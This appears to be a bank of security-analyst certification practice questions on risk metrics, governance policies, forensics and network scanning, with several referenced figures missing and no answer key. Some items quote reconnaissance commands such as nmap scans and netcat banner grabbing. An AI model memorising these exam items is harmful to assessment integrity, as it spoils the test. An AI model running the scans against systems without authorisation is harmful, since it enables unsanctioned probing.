Mia discovers that an employee is running a side business from his office, using company technology resources. What policy would most likely contain information relevant to this situation?

NDA

AUP

Data ownership

Data classification

Questions 31–36 refer to the following scenario.

Alan is a risk manager for Acme University, a higher education institution located in the western United States. He is concerned about the threat that an earthquake will damage his organization's primary datacenter. He recently undertook a replacement cost analysis and determined that the datacenter is valued at $10 million.

After consulting with seismologists, Alan determined that an earthquake is expected in the area of the datacenter once every 200 years. Datacenter specialists and architects helped him determine that an earthquake would likely cause $5 million in damage to the facility.

Based on the information in this scenario, what is the exposure factor (EF) for the effect of an earthquake on Acme University's datacenter?

10%

25%

50%

75%

Based on the information in this scenario, what is the annualized rate of occurrence (ARO) for an earthquake at the datacenter?

0.0025

0.005

0.01

0.015

Based on the information in this scenario, what is the annualized loss expectancy (ALE) for an earthquake at the datacenter?

$25,000

$50,000

$250,000

$500,000

Referring to the previous scenario, if Alan's organization decides to move the datacenter to a location where earthquakes are not a risk, what risk management strategy are they using?

Risk mitigation

Risk avoidance

Risk acceptance

Risk transference

Referring to the previous scenario, if the organization decides not to relocate the datacenter but instead purchases an insurance policy to cover the replacement cost of the datacenter, what risk management strategy are they using?

Risk mitigation

Risk avoidance

Risk acceptance

Risk transference

Referring to the previous scenario, assume that the organization decides that relocation is too difficult and the insurance is too expensive. They instead decide that they will carry on despite the risk of earthquake and handle the impact if it occurs. What risk management strategy are they using?

Risk mitigation

Risk avoidance

Risk acceptance

Risk transference

Under the U.S. government's data classification scheme, which one of the following is the lowest level of classified information?

Private

Top Secret

Confidential

Secret

When using a data loss prevention (DLP) system, which of the following statements best describes the purpose of labeling data with classifications?

DLP systems can adjust classifications dynamically as needs change.

DLP systems can use labels to apply appropriate security policies.

DLP systems can use labels to perform file access control.

DLP systems can use labels to perform data minimization tasks.

Carlos is preparing a password policy for his organization and would like it to be fully compliant with Payment Card Industry Data Security Standard (PCI DSS) requirements. What is the minimum password length required by PCI DSS?

7 characters

8 characters

10 characters

12 characters

Colin would like to implement a security control in his accounting department which is specifically designed to detect cases of fraud that are able to occur despite the presence of other security controls. Which one of the following controls is best suited to meet Colin's need?

Separation of duties

Least privilege

Dual control

Mandatory vacations

Singh would like to apply encryption to protect data in transit from his web server to remote users. What technology would best fulfill this need?

SSL

DLP

FDE

TLS

Rob is an auditor reviewing the payment process used by a company to issue checks to vendors. He notices that Helen, a staff accountant, is the person responsible for creating new vendors. Norm, another accountant, is responsible for issuing payments to vendors. Helen and Norm are cross-trained to provide backup for each other. What security issue, if any, exists in this situation?

Least privilege violation

Separation of duties violation

Dual control violation

No issue

Mei recently completed a risk management review and identified that the organization is susceptible to a man-in-the-middle attack. After review with her manager, they jointly decided that accepting the risk is the most appropriate strategy. What should Mei do next?

Implement additional security controls

Design a remediation plan

Repeat the business impact assessment

Document the decision

Robin is planning to conduct a risk assessment in her organization. She is concerned that it will be difficult to perform the assessment because she needs to include information about both tangible and intangible assets. What would be the most effective risk assessment strategy for her to use?

Quantitative risk assessment

Qualitative risk assessment

Combination of quantitative and qualitative risk assessment

Neither quantitative nor qualitative risk assessment

Barry's organization is running a security exercise and Barry was assigned to conduct offensive operations. What term best describes Barry's role in the process?

Red team

Black team

Blue team

White team

Vlad's organization recently suffered an attack where a senior system administrator executed some malicious commands and then deleted the log files that recorded his activity. Which one of the following controls would best mitigate the risk of this activity recurring in the future?

Separation of duties

Two-person control

Job rotation

Security awareness

Vlad's organization recently underwent a security audit that resulted in a finding that the organization fails to promptly remove the accounts associated with users who have left the organization. This resulted in at least one security incident where a terminated user logged into a corporate system and took sensitive information. What identity and access management control would best protect against this risk?

Automated deprovisioning

Quarterly user account reviews

Separation of duties

Two-person control

Jay is the CISO for his organization and is responsible for conducting periodic reviews of the organization's information security policy. The policy was written three years ago and has undergone several minor revisions after audits and assessments. Which one of the following would be the most reasonable frequency to conduct formal reviews of the policy?

Monthly

Quarterly

Annually

Every five years

Terri is undertaking a risk assessment for her organization. Which one of the following activities would normally occur first?

Risk identification

Risk calculation

Risk mitigation

Risk management

Ang is selecting an encryption technology for use in encrypting the contents of a USB drive. Which one of the following technologies would best meet his needs?

TLS

DES

AES

SSL

Suki's organization has a policy that restricts them from doing any business with any customer that would subject them to the terms of the General Data Protection Regulation (GDPR). Which one of the following controls would best help them achieve this objective?

Encryption

Tokenization

Geographic access requirements

Data sovereignty

Vivian would like to be able to identify files that originated in her organization but were later copied. What security control would best achieve this objective?

Encryption

Data masking

Watermarking

Tokenization

Kai is attempting to determine whether he can destroy a cache of old records that he discovered. What type of policy would most directly answer his question?

Data ownership

Data classification

Data minimization

Data retention

Fences are a widely used security control that can be described by several different control types. Which one of the following control types would least describe a fence?

Deterrent

Corrective

Preventive

Physical

Ian is designing an authorization scheme for his organization's deployment of a new accounting system. He is considering putting a control in place that would require that two accountants approve any payment request over $100,000. What security principle is Ian seeking to enforce?

Security through obscurity

Least privilege

Separation of duties

Dual control

Which one of the following frameworks best helps organizations design IT processes that fit together seamlessly?

NIST CSF

ITIL

COBIT

ISO 27001

Carmen is working with a new vendor on the design of a penetration test. She would like to ensure that the vendor does not conduct any physical intrusions as part of their testing. Where should Carmen document this requirement?

Rules of engagement

Service level agreement

Nondisclosure agreement

Counterparty agreement

Which one of the following categories best describes information protected by HIPAA?

PII

SPI

PHI

PCI DSS

In a data management program, which role bears ultimate responsibility for the safeguarding of sensitive information?

Data owner

System owner

Business owner

Data custodian

Lakshman is investigating the data management techniques used to protect sensitive information in his organization's database and comes across the database table shown here. What data management technique is most likely being used?

Masking

Encryption

Minimization

Tokenization

Lakshman continues to explore the database and finds another copy of the table in a different system that stores information as shown here. What technique was most likely used in this system?

Masking

Encryption

Minimization

Tokenization

After reviewing the systems, Lakshman discovers a printed roster of employees that contains the information shown in this image. What type of data protection has most likely been applied to this report?

Masking

Encryption

Minimization

Tokenization

The board of directors of Kate's company recently hired an independent firm to review the state of the organization's security controls and certify those results to the board. What term best describes this engagement?

Assessment

Control review

Gap analysis

Audit

Gavin is drafting a document that provides a detailed step-by-step process that users may follow to connect to the VPN from remote locations. Alternatively, users may ask IT to help them configure the connection. What term best describes this document?

Policy

Procedure

Standard

Guideline

Which one of the following is not one of the five core security functions defined by the NIST Cybersecurity Framework?

Respond

Recover

Protect

Review

Which one of the following security controls is designed to help provide continuity for security responsibilities?

Succession planning

Separation of duties

Mandatory vacation

Dual control

After conducting a security review, Oskar determined that his organization is not conducting regular backups of critical data. What term best describes the type of control gap that exists in Oskar's organization?

Preventive

Corrective

Detective

Deterrent

Tim is helping his organization shift resources to the cloud. He is conducting vendor due diligence on the organization's IaaS provider. Which one of the following risks is this effort most likely to reduce?

Security group misconfiguration

Operating system misconfiguration

Data exfiltration

Provider viability

Carla is reviewing the cybersecurity policies used by her organization. What policy might she put in place as a failsafe to cover employee behavior situations where no other policy directly applies?

Data monitoring policy

Account management policy

Code of conduct

Data ownership policy

Which one of the following items is not normally included in a request for an exception to security policy?

Description of a compensating control

Description of the risks associated with the exception

Proposed revision to the security policy

Business justification for the exception

Mike's organization adopted the COBIT standard, and Mike would like to find a way to measure their progress toward implementation. Which one of the following COBIT components is useful as an assessment tool?

Process descriptions

Control objectives

Management guideline

Maturity models

What policy should contain provisions for removing user access upon termination?

Data ownership policy

Data classification policy

Data retention policy

Account management policy

Suki is the CISO at a major nonprofit hospital group. Which one of the following regulations most directly covers the way that her organization handles medical records?

HIPAA

FERPA

GLBA

SOX

Questions 74–76 refer to the following scenario:

Karen is the CISO of a major manufacturer of industrial parts. She is currently performing an assessment of the firm's financial controls, with an emphasis on implementing security practices that will reduce the likelihood of theft from the firm.

Karen would like to ensure that the same individual is not able to both create a new vendor in the system and authorize a payment to that vendor. She is concerned that an individual who could perform both of these actions would be able to send payments to false vendors. What type of control should Karen implement?

Mandatory vacations

Separation of duties

Job rotation

Two-person control

The accounting department has a policy that requires the signatures of two individuals on checks valued over $5,000. What type of control do they have in place?

Mandatory vacations

Separation of duties

Job rotation

Two-person control

Karen would also like to implement controls that would help detect potential malfeasance by existing employees. Which one of the following controls is least likely to detect malfeasance?

Mandatory vacations

Background investigations

Job rotation

Privilege use reviews

Chris is concerned about the possibility that former employees will disclose sensitive personal information about customers to unauthorized individuals. What is the best mechanism that Chris can use to manage this risk?

NDA

AUP

Privacy policy

Data ownership policy

Kevin is conducting a security exercise for his organization that uses both offensive and defensive operations. His role is to serve as the moderator of the exercise and to arbitrate disputes. What role is Kevin playing?

White team

Red team

Swiss team

Blue team

Dan is the chief information security officer (CISO) for a bank in the United States. What law most directly governs the personal customer information that his bank handles?

HIPAA

PCI DSS

GLBA

SOX

Bohai is concerned about access to the master account for a cloud service that his company uses to manage payment transactions. He decides to implement a new process for multifactor authentication to that account where an individual on the IT team has the password to the account, while an individual in the accounting group has the token. What security principle is Bohai using?

Dual control

Separation of duties

Least privilege

Security through obscurity

Tina is preparing for a penetration test and is working with a new vendor. She wants to make sure that the vendor understands exactly what technical activities are permitted within the scope of the test. Where should she document these requirements?

MOA

Contract

RoE

SLA

Azra is reviewing a draft of the Domer Doodads information security policy and finds that it contains the following statements. Which one of these statements would be more appropriately placed in a different document?

Domer Doodads designates the Chief Information Security Officer as the individual with primary responsibility for information security.

The Chief Information Security Officer is granted the authority to create specific requirements that implement this policy.

All access to financial systems must use multifactor authentication for remote connections.

Domer Doodads considers cybersecurity and compliance to be of critical importance to the business.

Ben is conducting an assessment of an organization's cybersecurity program using the NIST Cybersecurity Framework. He is specifically interested in the organization's external participation and determines that the organization has a good understanding of how it relates to customers on cybersecurity matters but does not yet have a good understanding of similar relationships with suppliers. What tier rating is appropriate for this measure?

Partial

Risk Informed

Repeatable

Adaptive

Which one of the following security policy framework documents never includes mandatory employee compliance?

Policy

Guideline

Procedure

Standard

Kaitlyn is on the red team during a security exercise and she has a question about whether an activity is acceptable under the exercise's rules of engagement. Who would be the most appropriate person to answer her question?

Red team leader

White team leader

Blue team leader

Kaitlyn should act without external advice.

Quinn encounters a document that contains information that is not intended for use outside of his company but would generally not cause any serious damage if accidentally disclosed. What data classification would be most appropriate for this document?

Internal

Sensitive

Highly Sensitive

Public

Questions 87–91 refer to the following scenario.

Seamus is conducting a business impact assessment for his organization. He is attempting to determine the risk associated with a denial-of-service attack against his organization's datacenter.

Seamus consulted with various subject matter experts and determined that the attack would not cause any permanent damage to equipment, applications, or data. The primary damage would come in the form of lost revenue. Seamus believes that the organization would lose $75,000 in revenue during a successful attack.

Seamus also consulted with his threat management vendor, who considered the probability of a successful attack against his organization and determined that there is a 10% chance of a successful attack in the next 12 months.

What is the ARO for this assessment?

0.8%

10%

12%

100%

What is the SLE for this scenario?

$625

$6,250

$7,500

$75,000

What is the ALE for this scenario?

$625

$6,250

$7,500

$75,000

Seamus is considering purchasing a DDoS protection system that would reduce the likelihood of a successful attack. What type of control is he considering?

Detective

Corrective

Preventive

Deterrent

Seamus wants to make sure that he can accurately describe the category of the DDoS protection service to auditors. Which term best describes the category of this control?

Compensating

Physical

Operational

Technical

Piper's organization handles credit card information and is, therefore, subject to the Payment Card Industry Data Security Standard (PCI DSS). What term best describes this standard?

Prescriptive

Minimal

Optional

Risk-based

As Piper attempts to implement the PCI DSS requirements, she discovers that she is unable to meet one of the requirements because of a technical limitation in her point-of-sale system. She decides to work with regulators to implement a second layer of logical isolation to protect this system from the Internet to allow its continued operation despite not meeting one of the requirements. What term best describes the type of control Piper has implemented?

Physical control

Operational control

Compensating control

Deterrent control

When Piper implements this new isolation technology, what type of risk management action is she taking?

Risk acceptance

Risk avoidance

Risk transference

Risk mitigation

What is the proper ordering of the NIST Cybersecurity Framework tiers, from least mature to most mature?

Partial; Repeatable; Risk Informed; Adaptive

Risk Informed; Partial; Adaptive; Repeatable

Risk Informed; Partial; Repeatable; Adaptive

Partial; Risk Informed; Repeatable; Adaptive

Ruth is helping a business leader determine the appropriate individuals to consult about sharing information with a third-party organization. Which one of the following policies would likely contain the most relevant guidance for her?

Data retention policy

Information security policy

Data validation policy

Data ownership policy

Samantha is investigating a cybersecurity incident where an internal user used his computer to participate in a denial-of-service attack against a third party. What type of policy was most likely violated?

AUP

SLA

BCP

Information classification policy

Ryan is compiling a list of allowable encryption algorithms for use in his organization. What type of document would be most appropriate for this list?

Policy

Standard

Guideline

Procedure

Julie is refreshing her organization's cybersecurity program using the NIST Cybersecurity Framework. She would like to use a template that describes how a specific organization might approach cybersecurity matters. What element of the NIST Cybersecurity Framework would best meet Julie's needs?

Framework Scenarios

Framework Core

Framework Implementation Tiers

Framework Profiles

What types of organizations are required to adopt the ISO 27001 standard for cybersecurity?

Healthcare organizations

Financial services firms

Educational institutions

None of the above

During the design of an identity and access management authorization scheme, Katie took steps to ensure that members of the security team who can approve database access requests do not have access to the database themselves. What security principle is Katie most directly enforcing?

Least privilege

Separation of duties

Dual control

Security through obscurity

Which one of the following controls is useful to both facilitate the continuity of operations and serve as a deterrent to fraud?

Succession planning

Dual control

Cross-training

Separation of duties

Which one of the following requirements is often imposed by organizations as a way to achieve their original control objective when they approve an exception to a security policy?

Documentation of scope

Limited duration

Compensating control

Business justification

In the ITIL service life cycle shown here, what core activity is represented by the X?

Continual service improvement

Service design

Service operation

Service transition

Berta is reviewing the security procedures surrounding the use of a cloud-based online payment service by her company. She set the access permissions for this service so that the same person cannot add funds to the account and transfer funds out of the account. What security principle is most closely related to Berta's action?

Least privilege

Security through obscurity

Separation of duties

Dual control

Thomas found himself in the middle of a dispute between two different units in his business that are arguing over whether one unit may analyze data collected by the other. What type of policy would most likely contain guidance on this issue?

Data ownership policy

Data classification policy

Data retention policy

Account management policy

Mara is designing a new data mining system that will analyze access control logs for signs of unusual login attempts. Any suspicious logins will be automatically locked out of the system. What type of control is Mara designing?

Physical control

Operational control

Managerial control

Technical control

Which one of the following elements is least likely to be found in a data retention policy?

Minimum retention period for data

Maximum retention period for data

Description of information to retain

Classification of information elements

Which one of the following issues would be better classified as a privacy issue, rather than a security issue?

Use of information for a purpose other than was originally disclosed

Unpatched vulnerability on a web server

Improper file permissions for a group of employees

Accidental destruction of backup media

Chapter 6
Practice Exam 1

While reviewing network flow logs, John sees that network flow on a particular segment suddenly dropped to zero. What is the most likely cause of this?

A denial-of-service attack

A link failure

High bandwidth consumption

Beaconing

Charlotte is having a dispute with a coworker over access to information contained in a database maintained by her coworker's department. Charlotte insists that she needs the information to carry out her job responsibilities, whereas the coworker insists that nobody outside the department is allowed to access the information. Charlotte does not agree that the other department should be able to make this decision, and Charlotte's supervisor agrees with her. What type of policy could Charlotte turn to for the most applicable guidance?

Data classification policy

Data retention policy

Data ownership policy

Acceptable use policy

Saanvi is conducting the recovery process after his organization experienced a security incident. During that process, he plans to apply patches to all of the systems in his environment. Which one of the following should be his highest priority for patching?

Windows systems

Systems involved in the incident

Linux systems

Web servers

Susan's organization suffered from a major breach that was attributed to an advanced persistent threat (APT) that used exploits of zero-day vulnerabilities to gain control of systems on her company's network. Which of the following is the least appropriate solution for Susan to recommend to help prevent future attacks of this type?

Heuristic attack detection methods

Signature-based attack detection methods

Segmentation

Leverage threat intelligence

During his investigation of a Windows system, Eric discovered that files were deleted and wants to determine whether a specific file previously existed on the computer. Which of the following is the least likely to be a potential location to discover evidence supporting that theory?

Windows registry

Master File Table

INDX files

Event logs

As part of her duties as an SOC analyst, Emily is tasked with monitoring intrusion detection sensors that cover her employer's corporate headquarters network. During her shift, Emily's IDS alarms report that a network scan has occurred from a system with IP address 10.0.11.19 on the organization's WPA2 Enterprise wireless network aimed at systems in the finance division. What data source should she check first?

Host firewall logs

AD authentication logs

Wireless authentication logs

WAF logs

Casey's incident response process leads her to a production server that must stay online for her company's business to remain operational. What method should she use to capture the data she needs?

Live image to an external drive.

Live image to the system's primary drive.

Take the system offline and image to an external drive.

Take the system offline, install a write blocker on the system's primary drive, and then image it to an external drive.

During a routine upgrade, Maria inadvertently changes the permissions to a critical directory, causing an outage of her organization's RADIUS infrastructure. How should this threat be categorized using NIST's threat categories?

Adversarial

Accidental

Structural

Environmental

What does the nmap response “filtered” mean in port scan results?

nmap cannot tell whether the port is open or closed.

A firewall was detected.

An IPS was detected.

There is no application listening, but there may be one at any time.

Darcy is the security administrator for a hospital that operates in the United States and is subject to the Health Insurance Portability and Accountability Act (HIPAA). She is designing a vulnerability scanning program for the hospital's datacenter that stores and processes electronic protected health information (ePHI). What is the minimum scanning frequency for this environment, assuming that the scan shows no critical vulnerabilities?

Every 30 days

Every 90 days

Every 180 days

No scanning is required.

During her review of incident logs, Deepa discovers the initial entry via SSH on a front-facing bastion host (A) at 8:02 a.m. If the network that Deepa is responsible for is designed as shown here, what is the most likely diagnosis if the second intrusion shows up on host B at 7:15 a.m.?

Internal host B was previously compromised.

Host A was compromised; then host B was compromised.

Neither host B nor host A are synchronized to NTP properly.

An internal threat compromised host B and then host A.

Matt recently ran a vulnerability scan of his organization's network and received the results shown here. He would like to remediate the server with the highest number of the most serious vulnerabilities first. Which one of the following servers should be on his highest priority list?

Server A

Server B

Server C

Server D

Saanvi has been tasked with conducting a risk assessment for the midsized bank that he works at because of a recent compromise of their online banking web application. Saanvi has chosen to use the NIST 800-30 risk assessment framework shown here. What likelihood of occurrence should he assign to breaches of the web application?

Low

Medium

High

Cannot be determined from the information given

Hank's boss recently came back from a CEO summit event where he learned about the importance of cybersecurity and the role of vulnerability scanning. He asked Hank about the vulnerability scans conducted by the organization and suggested that instead of running weekly scans that they simply configure the scanner to start a new scan immediately after the prior scan completes. How should Hank react to this request?

Hank should inform the CEO that this would have a negative impact on system performance and is not recommended.

Hank should immediately implement the CEO's suggestion.

Hank should consider the request and work with networking and engineering teams on possible implementation.

Hank should inform the CEO that there is no incremental security benefit from this approach and that he does not recommend it.

Selah's organization suffers an outage of its point-to-point encrypted VPN because of a system compromise at its ISP. What type of issue is this?

Confidentiality

Availability

Integrity

Accountability

Garrett is working with a database administrator to correct security issues on several servers managed by the database team. He would like to extract a report for the DBA that will provide useful information to assist in the remediation effort. Of the report templates shown here, which would be most useful to the DBA team?

Qualys Top 20 Report

Payment Card Industry (PCI) Technical Report

Executive Report

Technical Report

Jiang's SolarWinds network monitoring tools provide data about a system hosted in Amazon's AWS environment. When Jiang checks his server's average response time, he sees the results shown here.

What action should Jiang take based on this information?

He should increase the speed of his network link.

He should check for scheduled tasks at the times he sees spike.

He should ensure that his network card has the proper latency settings.

He should perform additional diagnostics to determine the cause of the latency.

Alex notices the traffic shown here during a Wireshark packet capture. What is the host with IP address 10.0.2.11 most likely doing?

UDP-based port scanning

Network discovery via TCP

SYN-based port scanning

DNS-based discovery

Jenny is evaluating the security of her organization's network management practices. She discovers that the organization is using RADIUS for administrator authentication to network devices. What additional security control should also be in place to ensure secure operation?

IPsec

Kerberos

TACACS+

SSL

Jake is building a forensic image of a compromised drive using the dd command with its default settings. He finds that the imaging is going very slowly. What parameter should he adjust first?

if

bs

of

count

What purpose does a honeypot system serve when placed on a network as shown here?

It prevents attackers from targeting production servers.

It provides information about the techniques attackers are using.

It slows down attackers like sticky honey.

It provides real-time input to IDSs and IPSs.

Munju's security team has found consistent evidence of system compromise over a period of weeks, with additional evidence pointing to the systems they are investigating being compromised for years. Despite her team's best efforts, Munju has found that her team cannot seem to track down and completely remove the compromise. What type of attack is Munju likely dealing with?

A Trojan horse

An APT

A rootkit

A zero-day attack

Which one of the following metrics would be most useful in determining the effectiveness of a vulnerability remediation program?

Number of critical vulnerabilities resolved

Time to resolve critical vulnerabilities

Number of new critical vulnerabilities per month

Time to complete vulnerability scans

Mike's nmap scan of a system using the command nmap 192.168.1.100 does not return any results. What does Mike know about the system if he is sure of its IP address, and why?

The system is not running any open services.

All services are firewalled.

There are no TCP services reachable on nmap's default 1000 TCP ports.

There are no TCP services reachable on nmap's default 65535 TCP ports.

What is the purpose of creating an MD5 hash for a drive during the forensic imaging process?

To prove that the drive's contents were not altered

To prove that no data was deleted from the drive

To prove that no files were placed on the drive

All of the above

After completing his unsuccessful forensic analysis of the hard drive from a workstation that was compromised by malware, Ben sends it to be re-imaged and patched by his company's desktop support team. Shortly after the system returns to service, the device once again connects to the same botnet. What action should Ben take as part of his next forensic review if this is the only system showing symptoms like this?

Verify that all patches are installed

Destroy the system

Validate the BIOS hash against a known good version

Check for a system with a duplicate MAC address

Part of the forensic data that Susan was provided for her investigation was a Wireshark packet capture. The investigation is aimed at determining what type of media an employee was consuming during work. What is the more detailed analysis that Susan can do if she is provided with the data shown here?

She can determine that the user was viewing a GIF.

She can manually review the TCP stream to see what data was sent.

She can export and view the GIF.

She cannot determine what media was accessed using this data set.

Which one of the following models traces the steps that an attacker would commonly perform during an intrusion?

MITRE ATT&CK

Diamond

Cyber Kill Chain

STIX

Lukas is a cybersecurity analyst for a large company that relies on SCADA systems. What networking protocol is he most likely to find in use for those systems?

CAN bus

Modbus

SoC

RTOS

Mika wants to run an nmap scan that includes all TCP ports and uses service detection. Which of the following nmap commands should she execute?

nmap -p0 -all -SC

nmap -p 1-32768 -sVS

nmap -p 1-65535 -sV -sS

nmap -all -sVS

Which one of the following cloud service models relies on the cloud service provider to implement the greatest number of security controls?

SaaS

PaaS

FaaS

IaaS

Dan is a cybersecurity analyst for a healthcare organization. He ran a vulnerability scan of the VPN server used by his organization. His scan ran from inside the datacenter against a VPN server also located in the datacenter. The complete vulnerability report is shown here. What action should Dan take next?

Dan should immediately remediate this vulnerability.

Dan should schedule the vulnerability for remediation within the next 30 days.

Dan should rerun the scan because this is likely a false positive report.

Dan should take no action.

Gina is testing a firewall ruleset for use on her organization's new Check Point firewall. She would like the firewall to allow unrestricted web browsing for users on the internal network, with the exception of sites listed on a Blocked Hosts list that the cybersecurity team maintains. She designed the ruleset shown here. What error, if any, does it contain?

Promiscuous rule

Orphaned rule

Shadowed rule

The rule base does not contain an error.

Kwame received an alert from his organization's SIEM that it detected a potential attack against a web server on his network. However, he is unsure whether the traffic generating the alert actually entered the network from an external source or whether it came from inside the network. The NAT policy at the network perimeter firewall rewrites public IP addresses, making it difficult to assess this information based on IP addresses. Kwame would like to perform a manual log review to locate the source of the traffic. Where should he turn for the best information?

Application server logs

Database server logs

Firewall logs

Antimalware logs

Jim ran a traceroute command to discover the network path between his system and the CompTIA website. He received the results shown here. What can he conclude from these results?

The CompTIA website is located in Chicago.

The CompTIA website is down.

The closest network device to the CompTIA site that Jim can identify is 216.182.225.74.

The closest network device to the CompTIA site that Jim can identify is 216.55.11.62.

Which one of the following types of vulnerability scans would provide the least information about the security configuration of a system?

Agent-based scan

Credentialed scan

Uncredentialed internal scan

Uncredentialed external scan

After finishing a forensic case, Sam needs to wipe the media that he is using to prepare it for the next case. Which of the following methods is best suited to preparing the hard drive that he will use if he wants to be in compliance with NIST SP 800-88?

Degauss the drive.

Zero-write the drive.

Seven rounds: all ones, all zeros, and five rounds of random values.

Use the ATA Secure Erase command.

After reading the NIST standards for incident response, Mateo spends time configuring the NTP service on each of his servers, workstations, and appliances throughout his network. What phase of the incident response process is he working to improve?

Preparation

Detection and analysis

Containment, eradication, and recovery

Postincident activity

Latisha is the ISO for her company and is notified that a zero-day exploit has been released that can result in remote code execution on all Windows 10 workstations on her network because of an attack against Windows domain services. She wants to limit her exposure to this exploit but needs the systems to continue to be able to access the Internet. Which of the following approaches is best for her response?

Firewalling

Patching

Isolation

Segmentation

Luis has configured SNMP to gather information from his network devices and issues the following command:

 $ snmpgetnext -v 1 -c public device1 \

He receives a response that includes the following data:

        ip.ipRouteTable.ipRouteEntry.ipRouteDest \
        ip.ipRouteTable.ipRouteEntry.ipRouteNextHop
        ip.ipRouteTable.ipRouteEntry.ipRouteDest.0.0.0.0 = IpAddress: 0.0.0.0
        ip.ipRouteTable.ipRouteEntry.ipRouteNextHop.0.0.0.0 = IpAddress: 10.0.11.1

What local command could he have executed to gather the same information?

traceroute

route add default gw 10.0.11.1

netstat -nr

ping -r 10.0.11.1

After scanning a network device located in her organization's data center, Shannon noted the vulnerability shown here. What is the minimum version level of SNMP that Shannon should be running?

1.1

1.2

2

3

When Saanvi was called in to help with an incident recovery effort, he discovered that the network administrator had configured the network as shown here. What type of incident response action best describes what Saanvi has encountered?

Segmentation

Isolation

Removal

Network locking

As part of the forensic investigation of a Linux workstation, Alex needs to determine what commands may have been issued on the system. If no anti-forensic activities have taken place, what is the best location for Alex to check for a history of commands issued on the system?

/var/log/commands.log

$HOME/.bash_history

$HOME/.commands.sqlite

/var/log/authactions.log

Ben recently completed a risk analysis and determined that he should implement a new set of firewall rules to filter traffic from known suspect IP addresses. What type of risk management activity is he performing?

Risk avoidance

Risk acceptance

Risk transference

Risk mitigation

Crystal is attempting to determine the next task that she should take on from a list of security priorities. Her boss told her that she should focus on activities that have the most “bang for the buck.” Of the tasks shown here, which should she tackle first?

Task 1

Task 2

Task 3

Task 4

During the analysis of an incident that took place on her network, Sofia discovered that the attacker used a stolen cookie to access a web application. Which one of the following attack types most likely occurred?

Man-in-the-middle

Privilege escalation

Cross-site scripting

Session hijacking

When Pete connects to his organization's network, his PC runs the NAC software his systems administrator installed. The software communicates to the edge switch he is plugged into, which validates his login and system security state. What type of NAC solution is Pete using?

Agent based, in-band

Agentless, in-band

Agent based, out-of-band

Agentless, out-of-band

Curt is conducting a forensic analysis of a Windows system and needs to determine whether a program was set to automatically run. Which of the following locations should he check for this information?

NTFS INDX files

The registry

Event logs

Prefetch files

During a regulatory compliance assessment, Manish discovers that his organization has implemented a multifactor authentication requirement for systems that store and handle highly sensitive data. The system requires that users provide both a password and a four-digit PIN. What should Manish note in his findings about this system?

The multifactor system provides two independent factors and provides an effective security control.

The factors used are both the same type of factor, making the control less effective.

The system uses only two factors and is not a true multifactor system. To qualify as multifactor, it should include at least three factors.

The multifactor system's use of a four-digit PIN does not provide sufficient complexity, and additional length should be required for any PIN for secure environments.

What concept measures how easy data is to lose?

Order of volatility

Data transience

Data loss prediction

The Volatility Framework

During a reconnaissance exercise, Mika uses the following command:

        root@demo:~# nc -v 10.0.2.9 8080
        www.example.com [10.0.2.9] 8080 (http-alt) open
        GET / HTTP/1.0

What is she doing?

Checking for the HTTP server version using netcat

Creating a reverse shell using netcar

HTTP banner grabbing using netcat

Executing an HTTP keep-alive using netcar

Steps like those listed here are an example of what type of incident response preparation?

Visit otx.alienvault.com and the suspected C&C system's IP address on the top search input field.

If the IP address is associated with malware C&C activity, create a ticket in the incident response tracking system.

Creating a CSIRT

Creating a playbook

Creating an incident response plan

Creating an IR-FAQ

While analyzing the vulnerability scan from her web server, Kristen discovers the issue shown here. Which one of the following solutions would best remedy the situation?

Move from TLS 1.0 to SSL 3.0.

Require IPsec connections to the server.

Disable the use of TLS.

Move from TLS 1.0 to TLS 1.2.

Charles is building an incident response playbook for his organization that will address command and control client-server traffic detection and response. Which of the following information sources is least likely to be part of his playbook?

DNS query logs

Threat intelligence feeds

Honeypot data

Notifications from internal staff about suspicious behavior

Which one of the following mechanisms may be used to enhance security in a context-based authentication system?

Time of day

Location

Device fingerprint

All of the above

Latisha's organization has faced a significant increase in successful phishing attacks, resulting in compromised accounts. She knows that she needs to implement additional technical controls to prevent successful attacks. Which of the following controls will be the most effective while remaining relatively simple and inexpensive to deploy?

Increased password complexity requirements

Application or token-based multifactor authentication

Biometric-based multifactor authentication

OAuth-based single sign-on

Carol recently fell victim to a phishing attack. When she clicked the link in an email message that she received, she was sent to her organization's central authentication service and logged in successfully. She did verify the URL and certificate to validate that the authentication server was genuine. After authenticating, she was sent to a form that collected sensitive personal information that was sent to an attacker. What type of vulnerability did the attacker most likely exploit?

Buffer overflow

Session hijacking

IP spoofing

Open redirect

As a penetration tester, Max uses Wireshark to capture all of his testing traffic. Which of the following is not a reason that Max would capture packets during penetration tests?

To document the penetration test

To scan for vulnerabilities

To gather additional information about systems and services

To troubleshoot issues encountered when connecting to targets

Rich recently configured new vulnerability scans for his organization's business intelligence systems. The scans run late at night when users are not present. Rich received complaints from the business intelligence team that the performance burden imposed by the scanning is causing their overnight ETL jobs to run too slowly and they are not completing before business hours. How should Rich handle this situation?

Rich should inform the team that they need to run the ETL jobs on a different schedule.

Rich should reconfigure the scans to run during business hours.

Rich should inform the team that they must resize the hardware to accommodate both requirements.

Rich should work with the team to find a mutually acceptable solution.

Which one of the following regulations imposes compliance obligations specifically on financial institutions?

SOX

HIPAA

PCI DSS

GLBA

Bryce ran a vulnerability scan on his organization's wireless network and discovered that many employees are bringing their personally owned devices onto the corporate network (with permission) and those devices sometimes contain serious vulnerabilities. What mobile strategy is Bryce's organization using?

COPE

SAFE

BYOD

None of the above

Jamal uses the following command to mount a forensic image. What has he specified in his command?

        sansforensics@siftworkstation:~/Case1$ sudo mount RHINOUSB.dd /mnt/usb
        -t auto -o loop, noexec,ro

He has mounted the file automatically, and it will not use any autorun files contained in the image.

He has mounted the file with the filesystem type set to auto-recognize and has set the mount to act as a read-only loop device that will not execute files.

He has mounted the file automatically and has set the mount to act as a read-only loop device that will not execute files.

He has mounted the file with the filesystem type set to auto-recognize and has set it to act as a remote-only loop device that will not execute files.

Javier ran a vulnerability scan of a new web application created by developers on his team and received the report shown here. The developers inspected their code carefully and do not believe that the issue exists. They do have a strong understanding of SQL injection issues and have corrected similar vulnerabilities in other applications. What is the most likely scenario in this case?

Javier misconfigured the scan.

The code is deficient and requires correction.

The vulnerability is in a different web application running on the same server.

The result is a false positive.

Mateo is able to break into a host in a secured segment of a network during a penetration test. Unfortunately, the rules of engagement state that he is not allowed to install additional software on systems he manages to compromise. How can he use netcat to perform a port scan of other systems in the secured network segment?

He can use the -sS option to perform a SYN scan.

He can use the -z option to perform a scan.

He can use the -s option to perform a scan.

He can't; netcat is not a port scanner.

Which one of the following technologies allows the dynamic reprogramming of computer chips?

TPM

HSM

eFuse

UEFI

